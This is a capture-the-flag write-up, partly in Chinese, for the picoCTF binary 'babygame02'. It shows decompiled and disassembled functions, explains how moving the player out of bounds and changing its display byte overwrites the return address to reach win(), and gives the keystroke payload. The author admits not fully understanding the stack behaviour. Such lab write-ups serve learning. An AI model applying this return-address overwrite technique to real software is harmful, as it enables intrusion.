PicoCTF - babygame02

PicoCTF - babygame02

Source

:::spoiler IDA Main Function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int position[2]; // [esp+0h] [ebp-AA0h] BYREF
  char map[2700]; // [esp+Bh] [ebp-A95h] BYREF
  char input; // [esp+A97h] [ebp-9h]
  int *p_argc; // [esp+A98h] [ebp-8h]

  p_argc = &argc;
  init_player(position);
  init_map(map, position);
  print_map(map);
  signal(2, sigint_handler);
  do
  {
    do
    {
      input = getchar();
      move_player(position, input, map);
      print_map(map);
    }
    while ( position[0] != 29 );                // y座標
  }
  while ( position[1] != 89 );                  // x座標
  puts("You win!");
  return 0;
}

::: :::spoiler IDA Win Function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int win()
{
  char s[60]; // [esp+0h] [ebp-48h] BYREF
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("flag.txt not found in current directory");
    exit(0);
  }
  fgets(s, 60, stream);
  return printf(s);
}

:::

:::spoiler IDA Win Function (Assembly)

.text:0804975D ; int win()
.text:0804975D public win
.text:0804975D win proc near
.text:0804975D
.text:0804975D s= byte ptr -48h
.text:0804975D stream= dword ptr -0Ch
.text:0804975D var_4= dword ptr -4
.text:0804975D
.text:0804975D ; __unwind {
.text:0804975D push    ebp
.text:0804975E mov     ebp, esp
.text:08049760 push    ebx
.text:08049761 sub     esp, 44h
.text:08049764 call    __x86_get_pc_thunk_bx
.text:08049764
.text:08049769 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:0804976F nop
.text:08049770 nop
.text:08049771 nop
.text:08049772 nop
.text:08049773 nop
.text:08049774 nop
.text:08049775 nop
.text:08049776 nop
.text:08049777 nop
.text:08049778 nop
.text:08049779 sub     esp, 8
.text:0804977C lea     eax, (aR - 804C000h)[ebx]       ; "r"
.text:08049782 push    eax                             ; modes
.text:08049783 lea     eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt"
.text:08049789 push    eax                             ; filename
.text:0804978A call    _fopen
.text:0804978A
.text:0804978F add     esp, 10h
.text:08049792 mov     [ebp+stream], eax
.text:08049795 cmp     [ebp+stream], 0
.text:08049799 jnz     short loc_80497B7
.text:08049799
.text:0804979B sub     esp, 0Ch
.text:0804979E lea     eax, (aFlagTxtNotFoun - 804C000h)[ebx] ; "flag.txt not found in current directory"
.text:080497A4 push    eax                             ; s
.text:080497A5 call    _puts
.text:080497A5
.text:080497AA add     esp, 10h
.text:080497AD sub     esp, 0Ch
.text:080497B0 push    0                               ; status
.text:080497B2 call    _exit

:::

Recon

這一題超難,主要是看了ref12也不太知道怎麼做的,跟了gdb也分析不出個所以然,大概是和前一題概念很像,從IDA分析的main function可以知道這次我們要想辦法跳到一個叫做win function的地方,但是這個function從來沒有被呼叫過,也沒有明顯的bof,所以要先用一些奇淫技巧改變return address,也就是到零零座標之後要先往上走(但是stack的變化我看不懂,總之y軸的數值變成0xfffffff,但不像上一題一樣會表現出來),總之再往左邊走39次,並改變原本玩家的表示字元(0x40)成win()對應的最後一個byte,例如0x50, 0x5e, 0x60, 0x61, 0x64, 0x69, 0x6f, 0x70 - 0x78…,此時就會看到stack的return value就會是0x80497xx,他就會跳到win function吐出flag

Exploit

Payload:

1
2
3
4
5
aaaa
wwwww
l]
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
s

Reference